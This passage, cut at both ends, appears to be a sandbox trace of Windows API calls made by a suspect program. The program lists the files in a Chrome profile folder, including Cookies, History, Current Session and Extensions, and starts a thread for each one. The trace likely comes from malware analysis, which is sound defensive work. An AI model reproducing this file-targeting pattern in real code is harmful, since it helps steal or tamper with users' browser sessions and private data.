HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.128] wcscat (in: _Dest=0x1ce18080, _Source="Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" [0244.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce18080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32a8 [0244.137] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d44890, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0244.137] wcscmp (_String1="Cookies-journal", _String2=".") returned 1 [0244.137] wcscmp (_String1="Cookies-journal", _String2="..") returned 1 [0244.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x107000 [0244.138] wcscpy (in: _Dest=0x107000, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.138] wcscat (in: _Dest=0x107000, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.138] wcscat (in: _Dest=0x107000, _Source="Cookies-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" [0244.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c8 [0244.144] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83b08a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83b08a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0b57b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Session", cAlternateFileName="CURREN~1")) returned 1 [0244.144] wcscmp (_String1="Current Session", _String2=".") returned 1 [0244.144] wcscmp (_String1="Current Session", _String2="..") returned 1 [0244.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431ed0e0 [0244.145] wcscpy (in: _Dest=0x431ed0e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.145] wcscat (in: _Dest=0x431ed0e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.145] wcscat (in: _Dest=0x431ed0e0, _Source="Current Session" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" [0244.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ed0e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x189c [0244.155] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c3b6860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c3b6860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c3b8f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Tabs", cAlternateFileName="CURREN~2")) returned 1 [0244.155] wcscmp (_String1="Current Tabs", _String2=".") returned 1 [0244.155] wcscmp (_String1="Current Tabs", _String2="..") returned 1 [0244.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431ec8a0 [0244.155] wcscpy (in: _Dest=0x431ec8a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.156] wcscat (in: _Dest=0x431ec8a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.156] wcscat (in: _Dest=0x431ec8a0, _Source="Current Tabs" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" [0244.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ec8a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1898 [0244.167] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1 [0244.167] wcscmp (_String1="data_reduction_proxy_leveldb", _String2=".") returned 1 [0244.167] wcscmp (_String1="data_reduction_proxy_leveldb", _String2="..") returned 1 [0244.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43114f00 [0244.167] wcscpy (in: _Dest=0x43114f00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.167] wcscat (in: _Dest=0x43114f00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.167] wcscat (in: _Dest=0x43114f00, _Source="data_reduction_proxy_leveldb" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0244.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x43114f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c [0244.175] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~3")) returned 1 [0244.175] wcscmp (_String1="Extension Rules", _String2=".") returned 1 [0244.176] wcscmp (_String1="Extension Rules", _String2="..") returned 1 [0244.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431ed9e0 [0244.176] wcscpy (in: _Dest=0x431ed9e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.176] wcscat (in: _Dest=0x431ed9e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.176] wcscat (in: _Dest=0x431ed9e0, _Source="Extension Rules" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0244.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431ed9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0244.182] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~2")) returned 1 [0244.182] wcscmp (_String1="Extension State", _String2=".") returned 1 [0244.182] wcscmp (_String1="Extension State", _String2="..") returned 1 [0244.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431ecf60 [0244.182] wcscpy (in: _Dest=0x431ecf60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.183] wcscat (in: _Dest=0x431ecf60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.183] wcscat (in: _Dest=0x431ecf60, _Source="Extension State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0244.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431ecf60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0244.189] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0244.189] wcscmp (_String1="Extensions", _String2=".") returned 1 [0244.189] wcscmp (_String1="Extensions", _String2="..") returned 1 [0244.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x431ecae0 [0244.189] wcscpy (in: _Dest=0x431ecae0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.189] wcscat (in: _Dest=0x431ecae0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.189] wcscat (in: _Dest=0x431ecae0, _Source="Extensions" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0244.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431ecae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c [0244.193] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80db2b00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1 [0244.193] wcscmp (_String1="Favicons", _String2=".") returned 1 [0244.193] wcscmp (_String1="Favicons", _String2="..") returned 1 [0244.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x431ec7e0 [0244.193] wcscpy (in: _Dest=0x431ec7e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.193] wcscat (in: _Dest=0x431ec7e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.193] wcscat (in: _Dest=0x431ec7e0, _Source="Favicons" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" [0244.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ec7e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0244.197] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80e97340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons-journal", cAlternateFileName="FAVICO~1")) returned 1 [0244.197] wcscmp (_String1="Favicons-journal", _String2=".") returned 1 [0244.197] wcscmp (_String1="Favicons-journal", _String2="..") returned 1 [0244.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x43112c00 [0244.197] wcscpy (in: _Dest=0x43112c00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.198] wcscat (in: _Dest=0x43112c00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.198] wcscat (in: _Dest=0x43112c00, _Source="Favicons-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" [0244.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43112c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0244.201] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81c321d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81c321d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81c58330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Profile.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1 [0244.201] wcscmp (_String1="Google Profile.ico", _String2=".") returned 1 [0244.201] wcscmp (_String1="Google Profile.ico", _String2="..") returned 1 [0244.201] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802fc800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802fc800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87f47590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0244.201] wcscmp (_String1="History", _String2=".") returned 1 [0244.201] wcscmp (_String1="History", _String2="..") returned 1 [0244.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce12520 [0244.202] wcscpy (in: _Dest=0x1ce12520, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.202] wcscat (in: _Dest=0x1ce12520, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.202] wcscat (in: _Dest=0x1ce12520, _Source="History" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" [0244.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13fc [0244.206] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824d3190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824d3190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c3b6860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x0, cFileName="History Provider Cache", cAlternateFileName="HISTOR~2")) returned 1 [0244.206] wcscmp (_String1="History Provider Cache", _String2=".") returned 1 [0244.206] wcscmp (_String1="History Provider Cache", _String2="..") returned 1 [0244.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x43112cd0 [0244.206] wcscpy (in: _Dest=0x43112cd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.206] wcscat (in: _Dest=0x43112cd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.206] wcscat (in: _Dest=0x43112cd0, _Source="History Provider Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" [0244.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43112cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ec [0244.210] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802fc800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802fc800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87f6d6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History-journal", cAlternateFileName="HISTOR~1")) returned 1 [0244.210] wcscmp (_String1="History-journal", _String2=".") returned 1 [0244.210] wcscmp (_String1="History-journal", _String2="..") returned 1 [0244.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279430 [0244.210] wcscpy (in: _Dest=0x20279430, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.210] wcscat (in: _Dest=0x20279430, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.210] wcscat (in: _Dest=0x20279430, _Source="History-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" [0244.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc34 [0244.214] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIcons", cAlternateFileName="JUMPLI~2")) returned 1 [0244.214] wcscmp (_String1="JumpListIcons", _String2=".") returned 1 [0244.214] wcscmp (_String1="JumpListIcons", _String2="..") returned 1 [0244.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20278cb0 [0244.215] wcscpy (in: _Dest=0x20278cb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.215] wcscat (in: _Dest=0x20278cb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.215] wcscat (in: _Dest=0x20278cb0, _Source="JumpListIcons" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons") returned="C:\\Users\\5p5NrGJn0jS 